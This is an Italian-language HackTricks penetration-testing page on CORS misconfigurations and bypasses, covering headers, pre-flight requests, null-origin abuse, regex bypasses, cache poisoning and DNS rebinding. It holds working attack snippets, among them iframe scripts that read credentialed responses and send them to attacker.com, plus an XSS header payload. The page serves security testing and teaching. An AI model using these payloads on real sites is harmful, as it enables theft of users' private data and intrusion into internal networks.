CORS - Misconfigurazioni & Bypass
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Cos’è CORS?
Lo standard Cross-Origin Resource Sharing (CORS) consente ai server di definire chi può accedere alle loro risorse e quali metodi di richiesta HTTP sono permessi da origini esterne.
Una politica same-origin richiede che un server che richiede una risorsa e il server che ospita la risorsa condividano lo stesso protocollo (es. http://), lo stesso nome di dominio (es. internal-web.com) e la stessa porta (es. 80). Sotto questa politica, solo le pagine web dello stesso dominio e della stessa porta possono accedere alle risorse.
L’applicazione della politica same-origin nel contesto di http://normal-website.com/example/example.html è illustrata come segue:
| URL richiesto | Accesso consentito? |
|---|---|
http://normal-website.com/example/ | Sì: Identico schema, dominio e porta |
http://normal-website.com/example2/ | Sì: Identico schema, dominio e porta |
https://normal-website.com/example/ | No: Schema e porta diversi |
http://en.normal-website.com/example/ | No: Dominio diverso |
http://www.normal-website.com/example/ | No: Dominio diverso |
http://normal-website.com:8080/example/ | No: Porta diversa* |
*Internet Explorer ignora il numero di porta nell’applicazione della politica same-origin, permettendo quindi questo accesso.
Access-Control-Allow-Origin Header
Questa intestazione può permettere origini multiple, un valore null, o il carattere jolly *. Tuttavia, nessun browser supporta origini multiple e l’uso del carattere jolly * è soggetto a limitazioni. (Il carattere jolly deve essere usato da solo, e il suo utilizzo insieme a Access-Control-Allow-Credentials: true non è consentito.)
Questa intestazione viene emessa da un server in risposta a una richiesta di risorsa cross-domain originata da un sito web, con il browser che aggiunge automaticamente un’intestazione Origin.
Access-Control-Allow-Credentials Header
Per impostazione predefinita, le richieste cross-origin vengono effettuate senza credenziali come cookie o l’intestazione Authorization. Tuttavia, un server cross-domain può consentire la lettura della risposta quando vengono inviate credenziali impostando l’intestazione Access-Control-Allow-Credentials su true.
Se impostata su true, il browser trasmetterà le credenziali (cookie, intestazioni Authorization o certificati client TLS).
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText)
}
}
xhr.open("GET", "http://example.com/", true)
xhr.withCredentials = true
xhr.send(null)
fetch(url, {
credentials: "include",
})
const xhr = new XMLHttpRequest()
xhr.open("POST", "https://bar.other/resources/post-here/")
xhr.setRequestHeader("X-PINGOTHER", "pingpong")
xhr.setRequestHeader("Content-Type", "application/xml")
xhr.onreadystatechange = handler
xhr.send("<person><name>Arun</name></person>")
CSRF Pre-flight request
Comprendere le pre-flight request nella comunicazione cross-domain
Quando si avvia una richiesta cross-domain in determinate condizioni, come l’uso di una non-standard HTTP method (qualsiasi metodo diverso da HEAD, GET, POST), l’introduzione di nuovi headers, o l’impiego di un particolare Content-Type header value, potrebbe essere richiesta una pre-flight request. Questa richiesta preliminare, che utilizza il metodo OPTIONS, serve a informare il server delle intenzioni della futura richiesta cross-origin, inclusi i metodi HTTP e gli headers che intende usare.
Il protocollo Cross-Origin Resource Sharing (CORS) impone questo controllo pre-flight per determinare la fattibilità dell’operazione cross-origin richiesta verificando i metodi consentiti, gli headers e l’affidabilità dell’origine. Per una spiegazione dettagliata di quali condizioni evitano la necessità di una pre-flight request, consulta la guida completa fornita da Mozilla Developer Network (MDN).
È fondamentale notare che l’assenza di una pre-flight request non elimina la necessità che la risposta includa authorization headers. Senza questi headers, il browser non è in grado di elaborare la risposta della richiesta cross-origin.
Considera la seguente illustrazione di una pre-flight request volta a utilizzare il metodo PUT insieme a un header custom chiamato Special-Request-Header:
OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization
In risposta, il server potrebbe restituire headers che indicano i metodi accettati, l’allowed origin e altri dettagli della CORS policy, come mostrato di seguito:
HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
Access-Control-Allow-Headers: Questo header specifica quali header possono essere usati durante la richiesta effettiva. È impostato dal server per indicare gli header consentiti nelle richieste dal client.Access-Control-Expose-Headers: Attraverso questo header il server informa il client su quali header possono essere esposti come parte della risposta oltre agli header di risposta semplici.Access-Control-Max-Age: Questo header indica per quanto tempo i risultati di una pre-flight request possono essere memorizzati nella cache. Il server imposta il tempo massimo, in secondi, per cui le informazioni restituite da una pre-flight request possono essere riutilizzate.Access-Control-Request-Headers: Usato nelle pre-flight request, questo header è impostato dal client per informare il server su quali HTTP header il client intende usare nella richiesta effettiva.Access-Control-Request-Method: Questo header, anch’esso usato nelle pre-flight request, è impostato dal client per indicare quale metodo HTTP verrà usato nella richiesta effettiva.Origin: Questo header è impostato automaticamente dal browser e indica l’origine della richiesta cross-origin. Viene utilizzato dal server per valutare se la richiesta in arrivo debba essere consentita o negata in base alla policy CORS.
Nota che solitamente (a seconda del content-type e degli header impostati) in una GET/POST request non viene inviata una pre-flight request (la richiesta viene inviata direttamente), ma se vuoi accedere agli header/body della risposta, questa deve contenere un Access-Control-Allow-Origin header che lo permetta.
Pertanto, CORS non protegge da CSRF (ma può essere utile).
Richieste alla rete locale - Pre-flight request
Access-Control-Request-Local-Network: Questo header è incluso nella richiesta del client per segnalare che l’indagine è rivolta a una risorsa della rete locale. Serve come marcatore per informare il server che la richiesta ha origine all’interno della rete locale.Access-Control-Allow-Local-Network: In risposta, i server utilizzano questo header per comunicare che la risorsa richiesta è consentita ad essere condivisa con entità esterne alla rete locale. Funziona come un semaforo verde per la condivisione di risorse attraverso diversi confini di rete, garantendo accesso controllato mantenendo i protocolli di sicurezza.
Una risposta valida che permetta la richiesta alla rete locale deve avere inoltre nella risposta l’header Access-Controls-Allow-Local_network: true :
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...
Warning
Nota che l’IP linux 0.0.0.0 consente il bypass di questi requisiti per accedere a localhost poiché quell’indirizzo IP non è considerato “locale”.
È anche possibile bypass the Local Network requirements se si usa l’public IP address of a local endpoint (come il public IP del router). Perché in diverse occasioni, anche se si accede all’public IP, se è from the local network, l’accesso verrà concesso.
Wildcards
Nota che anche se la seguente configurazione potrebbe sembrare molto permissiva:
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Questo non è permesso dai browser; di conseguenza le credentials non verranno inviate con la richiesta.
Misconfigurazioni sfruttabili
È stato osservato che impostare Access-Control-Allow-Credentials su true è un prerequisito per la maggior parte degli attacchi reali. Questa impostazione permette al browser di inviare credentials e leggere la risposta, aumentando l’efficacia dell’attacco. Senza questo, il vantaggio di far inviare una richiesta dal browser rispetto a farla da sé diminuisce, poiché sfruttare i cookies dell’utente diventa non praticabile.
Eccezione: sfruttare la posizione di rete come autenticazione
Esiste un’eccezione in cui la posizione di rete della vittima funge da forma di autenticazione. Questo consente di usare il browser della vittima come proxy, aggirando l’autenticazione basata su IP per accedere ad applicazioni intranet. Questo metodo ha un impatto simile a DNS rebinding ma è più semplice da sfruttare.
Riflesso di Origin in Access-Control-Allow-Origin
Lo scenario reale in cui il valore dell’header Origin viene riflesso in Access-Control-Allow-Origin è teoricamente improbabile a causa delle restrizioni sulla combinazione di questi header. Tuttavia, gli sviluppatori che vogliono abilitare CORS per più URL possono generare dinamicamente l’header Access-Control-Allow-Origin copiando il valore dell’header Origin. Questo approccio può introdurre vulnerabilità, specialmente quando un attaccante usa un dominio il cui nome è progettato per apparire legittimo, ingannando così la logica di validazione.
<script>
var req = new XMLHttpRequest()
req.onload = reqListener
req.open("get", "https://example.com/details", true)
req.withCredentials = true
req.send()
function reqListener() {
location = "/log?key=" + this.responseText
}
</script>
Sfruttare l’origin null
L’origin null, utilizzato in situazioni come reindirizzamenti o file HTML locali, ha una posizione particolare. Alcune applicazioni inseriscono in whitelist questo origin per facilitare lo sviluppo locale, permettendo involontariamente a qualsiasi sito di imitare un origin null tramite un sandboxed iframe, aggirando così le restrizioni CORS.
<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
Tecniche di bypass delle espressioni regolari
Quando si incontra una whitelist di domini, è fondamentale testare possibili vie di bypass, come aggiungere il dominio dell’attaccante a un dominio in whitelist o sfruttare vulnerabilità di subdomain takeover. Inoltre, le espressioni regolari usate per la validazione dei domini possono trascurare sfumature nelle convenzioni di denominazione dei domini, offrendo ulteriori possibilità di bypass.
Bypass avanzati delle espressioni regolari
I pattern regex di solito si concentrano su caratteri alfanumerici, punto (.) e trattino (-), trascurando altre possibilità. Ad esempio, un nome di dominio costruito per includere caratteri interpretati in modo diverso dai browser e dalle regex può bypassare i controlli di sicurezza. Il modo in cui Safari, Chrome e Firefox trattano i caratteri underscore nei sottodomini illustra come tali discrepanze possano essere sfruttate per eludere la logica di validazione del dominio.
Per maggiori informazioni e impostazioni di questo controllo di bypass: https://www.corben.io/advanced-cors-techniques/ e https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397
.png)
Da XSS all’interno di un sottodominio
Gli sviluppatori spesso implementano meccanismi di difesa per proteggersi dallo sfruttamento di CORS inserendo in whitelist i domini autorizzati a richiedere informazioni. Nonostante queste precauzioni, la sicurezza del sistema non è infallibile. La presenza anche di un solo sottodominio vulnerabile tra i domini in whitelist può aprire la porta allo sfruttamento di CORS tramite altre vulnerabilità, come XSS (Cross-Site Scripting).
Per illustrare, consideriamo lo scenario in cui un dominio, requester.com, è in whitelist per accedere alle risorse di un altro dominio, provider.com. La configurazione lato server potrebbe apparire più o meno così:
if ($_SERVER["HTTP_HOST"] == "*.requester.com") {
// Access data
} else {
// Unauthorized access
}
In questa configurazione, tutti i sottodomini di requester.com sono autorizzati ad accedere. Tuttavia, se un sottodominio, per esempio sub.requester.com, è compromesso da una vulnerabilità XSS, un attacker può sfruttare questa debolezza. Ad esempio, un attacker con accesso a sub.requester.com potrebbe sfruttare la vulnerabilità XSS per bypassare le policy CORS e accedere in modo malevolo alle risorse su provider.com.
Caratteri speciali
PortSwigger’s URL validation bypass cheat sheet ha rilevato che alcuni browser supportano caratteri strani all’interno dei nomi di dominio.
Chrome e Firefox supportano underscore _ che possono bypassare le regexes implementate per convalidare l’header Origin:
GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application_.arbitrary.com
HTTP/2 200 OK
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
Access-Control-Allow-Credentials: true
Safari è ancora più permissivo nell’accettare caratteri speciali nel nome del dominio:
GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application}.arbitrary.com
HTTP/2 200 OK
Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true
Altri trucchi divertenti con gli URL
Server-side cache poisoning
È possibile che sfruttando server-side cache poisoning tramite HTTP header injection si possa indurre una vulnerabilità stored Cross-Site Scripting (XSS). Questo scenario si verifica quando un’applicazione non sanitizza l’header Origin per caratteri non consentiti, creando una vulnerabilità particolarmente per gli utenti di Internet Explorer e Edge. Questi browser trattano (0x0d) come un terminatore di header HTTP valido, portando a vulnerabilità di HTTP header injection.
Consider the following request where the Origin header is manipulated:
GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
Internet Explorer e Edge interpretano la risposta come:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7
Sebbene sfruttare direttamente questa vulnerabilità facendo sì che un web browser invii un header malformato non sia fattibile, è possibile generare manualmente una richiesta appositamente costruita usando strumenti come Burp Suite. Questo metodo potrebbe portare a che una cache server-side salvi la risposta e la serva involontariamente ad altri. Il payload costruito mira a modificare il character set della pagina in UTF-7, una codifica dei caratteri spesso associata a vulnerabilità XSS per la sua capacità di codificare caratteri in modo che possano essere eseguiti come script in certi contesti.
Per ulteriori letture su vulnerabilità stored XSS, vedi PortSwigger.
Note: L’exploit di vulnerabilità di HTTP header injection, in particolare tramite server-side cache poisoning, sottolinea l’importanza critica di validare e sanificare tutti gli input forniti dall’utente, inclusi gli HTTP header. Adottare sempre un modello di sicurezza robusto che includa la validazione degli input per prevenire tali vulnerabilità.
Client-Side cache poisoning
Nel caso in esame si osserva un’istanza di una pagina web che riflette il contenuto di un HTTP header personalizzato senza una corretta codifica. Nello specifico, la pagina web riflette il contenuto incluso nell’header X-User-id, che potrebbe contenere JavaScript maligno, come dimostrato dall’esempio in cui l’header contiene un tag SVG progettato per eseguire codice JavaScript al caricamento.
Le policy Cross-Origin Resource Sharing (CORS) permettono l’invio di header personalizzati. Tuttavia, senza che la risposta venga direttamente renderizzata dal browser a causa delle restrizioni CORS, l’utilità di tale injection potrebbe sembrare limitata. Il punto critico sorge considerando il comportamento della cache del browser. Se l’header Vary: Origin non è specificato, diventa possibile che la risposta malevola venga memorizzata nella cache del browser. Successivamente, questa risposta memorizzata nella cache potrebbe essere renderizzata direttamente navigando verso l’URL, bypassando la necessità di rendering diretto alla richiesta iniziale. Questo meccanismo aumenta l’affidabilità dell’attacco sfruttando la cache client-side.
Per illustrare questo attacco viene fornito un esempio in JavaScript, pensato per essere eseguito nell’ambiente di una pagina web, ad esempio tramite JSFiddle. Questo script compie una semplice azione: invia una richiesta a un URL specificato con un header personalizzato contenente il JavaScript malevolo. Al completamento con successo della richiesta, tenta di navigare verso l’URL target, potenzialmente innescando l’esecuzione dello script iniettato se la risposta è stata memorizzata nella cache senza la corretta gestione dell’header Vary: Origin.
Ecco una sintesi del JavaScript utilizzato per eseguire questo attacco:
<script>
function gotcha() {
location = url
}
var req = new XMLHttpRequest()
url = "https://example.com/" // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha
req.open("get", url, true)
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
req.send()
</script>
Bypass
XSSI (Cross-Site Script Inclusion) / JSONP
XSSI, conosciuto anche come Cross-Site Script Inclusion, è un tipo di vulnerabilità che sfrutta il fatto che la Same Origin Policy (SOP) non si applica quando si includono risorse tramite il tag script. Questo perché gli script devono poter essere inclusi da domini diversi. Questa vulnerabilità permette a un attacker di accedere e leggere qualsiasi contenuto incluso tramite il tag script.
La vulnerabilità diventa particolarmente critica quando si tratta di JavaScript dinamico o JSONP (JSON with Padding), specialmente quando informazioni di ambient-authority come cookies sono usate per l’autenticazione. Quando si richiede una risorsa da un host diverso, i cookies vengono inclusi, rendendoli accessibili all’attacker.
Per comprendere meglio e mitigare questa vulnerabilità, puoi usare il plugin per BurpSuite disponibile su https://github.com/kapytein/jsonp. Questo plugin può aiutare a identificare e risolvere potenziali vulnerabilità XSSI nelle tue web application.
Leggi di più sui diversi tipi di XSSI e su come sfruttarli qui.
Prova ad aggiungere un parametro callback nella richiesta. Forse la pagina era predisposta per inviare i dati come JSONP. In tal caso la pagina risponderà con Content-Type: application/javascript il che bypasserà la policy CORS.
.png)
Easy (useless?) bypass
Un modo per bypassare la restrizione Access-Control-Allow-Origin è chiedere a una web application di effettuare una richiesta per tuo conto e rimandare la response. Tuttavia, in questo scenario, le credenziali della vittima finale non saranno inviate poiché la richiesta viene fatta verso un dominio differente.
- CORS-escape: Questo tool fornisce un proxy che inoltra la tua richiesta insieme alle sue header, falsificando anche l’Origin header per farla corrispondere al dominio richiesto. Questo bypassa effettivamente la policy CORS. Ecco un esempio di utilizzo con XMLHttpRequest:
- simple-cors-escape: Questo tool offre un approccio alternativo per proxying delle richieste. Invece di inoltrare la tua richiesta così com’è, il server effettua la propria richiesta con i parametri specificati.
Iframe + Popup Bypass
Puoi bypassare i controlli CORS come e.origin === window.origin creando un iframe e da questo aprendo una nuova finestra. Maggiori informazioni nella seguente pagina:
DNS Rebinding via TTL
Il DNS rebinding via TTL è una tecnica usata per bypassare certe misure di sicurezza manipolando i record DNS. Ecco come funziona:
- L’attacker crea una pagina web e induce la vittima ad accedervi.
- L’attacker cambia poi il DNS (IP) del proprio dominio per puntare alla pagina della vittima.
- Il browser della vittima memorizza nella cache la risposta DNS, che può avere un valore TTL (Time to Live) che indica per quanto tempo il record DNS è valido.
- Quando il TTL scade, il browser della vittima effettua una nuova richiesta DNS, permettendo all’attacker di eseguire codice JavaScript sulla pagina della vittima.
- Mantenendo il controllo sull’IP della vittima, l’attacker può raccogliere informazioni dalla vittima senza inviare alcun cookie al server vittima.
È importante notare che i browser hanno meccanismi di caching che possono impedire l’abuso immediato di questa tecnica, anche con valori TTL bassi.
Il DNS rebinding può essere utile per bypassare controlli IP espliciti eseguiti dalla vittima o per scenari in cui un utente o bot rimane sulla stessa pagina per un periodo esteso, permettendo alla cache di scadere.
Se ti serve un modo rapido per sfruttare il DNS rebinding, puoi usare servizi come https://lock.cmpxchg8b.com/rebinder.html.
Per eseguire il tuo server di DNS rebinding, puoi utilizzare tool come DNSrebinder (https://github.com/mogwailabs/DNSrebinder). Questo implica esporre la tua porta locale 53/udp, creare un record A che punti a essa (es. ns.example.com) e creare un record NS che punti al sottodominio A precedentemente creato (es. ns.example.com). Qualsiasi sottodominio di ns.example.com sarà quindi risolto dal tuo host.
Puoi anche esplorare un server pubblico attivo su http://rebind.it/singularity.html per ulteriori approfondimenti e sperimentazioni.
DNS Rebinding via DNS Cache Flooding
Il DNS rebinding tramite DNS cache flooding è un’altra tecnica usata per bypassare il meccanismo di caching dei browser e forzare una seconda richiesta DNS. Ecco come funziona:
- Inizialmente, quando la vittima effettua una richiesta DNS, viene risposta con l’IP dell’attacker.
- Per bypassare la difesa del caching, l’attacker sfrutta un service worker. Il service worker inonda la cache DNS, cancellando effettivamente il nome del server attacker memorizzato.
- Quando il browser della vittima effettua una seconda richiesta DNS, questa viene ora risposta con l’indirizzo IP 127.0.0.1, che normalmente si riferisce al localhost.
Inondando la cache DNS con il service worker, l’attacker può manipolare il processo di risoluzione DNS e forzare il browser della vittima a fare una seconda richiesta, questa volta risolta verso l’IP desiderato dall’attacker.
DNS Rebinding via Cache
Un altro modo per bypassare la difesa di caching è utilizzare più indirizzi IP per lo stesso sottodominio nel provider DNS. Ecco come funziona:
- L’attacker configura due record A (o un singolo record A con due IP) per lo stesso sottodominio nel provider DNS.
- Quando un browser richiede questi record, riceve entrambi gli indirizzi IP.
- Se il browser decide di usare per primo l’IP dell’attacker, l’attacker può servire un payload che esegue richieste HTTP allo stesso dominio.
- Tuttavia, una volta che l’attacker ottiene l’IP della vittima, smette di rispondere al browser della vittima.
- Il browser della vittima, accorgendosi che il dominio non risponde, passa al secondo IP fornito.
- Accedendo al secondo IP, il browser bypassa la Same Origin Policy (SOP), permettendo all’attacker di abusarne per raccogliere ed esfiltrare informazioni.
Questa tecnica sfrutta il comportamento dei browser quando vengono forniti più indirizzi IP per un dominio. Controllando strategicamente le risposte e manipolando la scelta dell’IP da parte del browser, un attacker può sfruttare la SOP e accedere a informazioni dalla vittima.
Warning
Nota che per accedere a localhost dovresti provare a rebindare 127.0.0.1 su Windows e 0.0.0.0 su Linux.
Provider come godaddy o cloudflare non mi hanno permesso di usare l’ip 0.0.0.0, ma AWS route53 mi ha permesso di creare un record A con 2 IPs essendo uno di essi “0.0.0.0”![]()
Per maggiori info puoi consultare https://unit42.paloaltonetworks.com/dns-rebinding/
Other Common Bypasses
- Se internal IPs aren’t allowed, potrebbero forgot forbidding 0.0.0.0 (funziona su Linux e Mac)
- Se internal IPs aren’t allowed, rispondere con un CNAME a localhost (funziona su Linux e Ma
- Se internal IPs aren’t allowed come risposte DNS, puoi rispondere con CNAMEs a servizi interni come www.corporate.internal.
DNS Rebidding Weaponized
Puoi trovare più informazioni sulle tecniche di bypass precedenti e su come usare il seguente tool nella talk Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference.
Singularity of Origin è uno strumento per effettuare attacchi di DNS rebinding. Include i componenti necessari per rebindare l’indirizzo IP del nome DNS del server attacker all’IP della macchina target e per servire payload di attacco per sfruttare software vulnerabili sulla macchina target.
DNS Rebinding over DNS-over-HTTPS (DoH)
DoH semplicemente incapsula il classico formato wire DNS RFC1035 dentro HTTPS (di solito un POST con Content-Type: application/dns-message). Il resolver risponde ancora con gli stessi resource records, quindi le tecniche che rompono la SOP continuano a funzionare anche quando i browser risolvono il nome controllato dall’attacker via TLS.
Key observations
- Chrome (Windows/macOS) e Firefox (Linux) eseguono con successo il rebind quando sono configurati per i resolver DoH di Cloudflare, Google o OpenDNS. La crittografia di trasporto non ritarda né blocca il flusso d’attacco per le strategie first-then-second, multiple-answers, o DNS cache flooding.
- I public resolver vedono ancora ogni query, ma raramente impongono l’associazione host-to-IP che un browser deve rispettare. Una volta che l’autoritative server restituisce la sequenza di rebind, il browser mantiene la tupla origin originale mentre si connette al nuovo IP.
Singularity strategies and timing over DoH
- First-then-second rimane l’opzione più affidabile: la prima lookup restituisce l’IP dell’attacker che serve il payload, ogni lookup successivo restituisce l’IP interno/localhost. Con le tipiche cache DNS dei browser questo flip del traffico avviene in ~40–60 secondi, anche quando il resolver ricorsivo è raggiungibile solo via HTTPS.
- Multiple answers (fast rebinding) raggiunge comunque localhost in <3 secondi rispondendo con due A records (attacker IP +
0.0.0.0su Linux/macOS o127.0.0.1su Windows) e blackholando programmaticamente il primo IP (ad esempio,iptables -I OUTPUT -d <attacker_ip> -j DROP) poco dopo il caricamento della pagina. L’implementazione DoH di Firefox può emettere query DNS ripetute, quindi la correzione di Singularity è schedulare la regola del firewall relativa alla first query timestamp invece di rinfrescare il timer a ogni query.
Beating “rebind protection” in DoH providers
- Alcuni provider (es. NextDNS) sostituiscono risposte private/loopback con
0.0.0.0, ma Linux e macOS instradano felicemente quella destinazione verso servizi locali. Restituire intenzionalmente0.0.0.0come secondo record quindi ancora pivotta l’origin verso localhost. - Filtrare solo la risposta diretta A/AAAA è inefficace: restituire un CNAME a un hostname accessibile solo internamente fa sì che il public DoH resolver inoltri l’alias mentre browser come Firefox ricadono sul DNS di sistema per la zona interna, completando la risoluzione verso un IP privato che è comunque trattato come origin attacker.
Browser-specific DoH behavior
- Firefox DoH opera in fallback mode: qualsiasi fallimento DoH (incluso un target CNAME non risolto) innesca una lookup in chiaro tramite il resolver OS, che tipicamente è un DNS aziendale che conosce lo namespace interno. Questo comportamento rende il bypass via CNAME affidabile nelle reti corporate.
- Chrome DoH si attiva solo quando il DNS OS punta a un resolver ricorsivo DoH presente in una whitelist (Cloudflare, Google, Quad9, etc.) e non fornisce la stessa catena di fallback. Host interni che esistono solo sul DNS aziendale quindi non vengono risolti, ma il rebind verso localhost o qualsiasi indirizzo instradabile ha comunque successo perché l’attacker controlla l’intero set di risposte.
Testing and monitoring DoH flows
- Firefox:
Settings ➜ Network Settings ➜ Enable DNS over HTTPSe fornisci l’endpoint DoH (Cloudflare e NextDNS sono incorporati). Chrome/Chromium: abilitachrome://flags/#dns-over-httpse configura i DNS OS con uno dei resolver supportati da Chrome (es.1.1.1.1/1.0.0.1). - Puoi interrogare direttamente le API DoH pubbliche, es.
curl -H 'accept: application/dns-json' 'https://cloudflare-dns.com/dns-query?name=example.com&type=A' | jqper confermare i record esatti che i browser metteranno in cache. - Intercettare DoH in Burp/ZAP funziona ancora perché è semplicemente HTTPS (payload DNS binario nel body). Per ispezione a livello pacchetto, esporta le TLS keys (
export SSLKEYLOGFILE=~/SSLKEYLOGFILE.txt) prima di avviare il browser e lascia che Wireshark decripti le sessioni DoH con il filtro di visualizzazionednsper vedere quando il browser rimane su DoH o ricade al DNS classico.
Real Protection against DNS Rebinding
- Usa TLS nei servizi interni
- Richiedi autenticazione per accedere ai dati
- Valida l’Host header
- https://wicg.github.io/private-network-access/: Proposal per inviare sempre una pre-flight request quando server pubblici vogliono accedere a server interni
Tools
Fuzz possible misconfigurations in CORS policies
- https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8
- https://github.com/chenjj/CORScanner
- https://github.com/lc/theftfuzzer
- https://github.com/s0md3v/Corsy
- https://github.com/Shivangx01b/CorsMe
- https://github.com/omranisecurity/CorsOne
References
- https://portswigger.net/web-security/cors
- https://portswigger.net/web-security/cors/access-control-allow-origin
- https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS
- https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties
- https://www.codecademy.com/articles/what-is-cors
- https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors
- https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration
- https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b
- NCC Group - Impact of DNS over HTTPS (DoH) on DNS Rebinding Attacks
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.


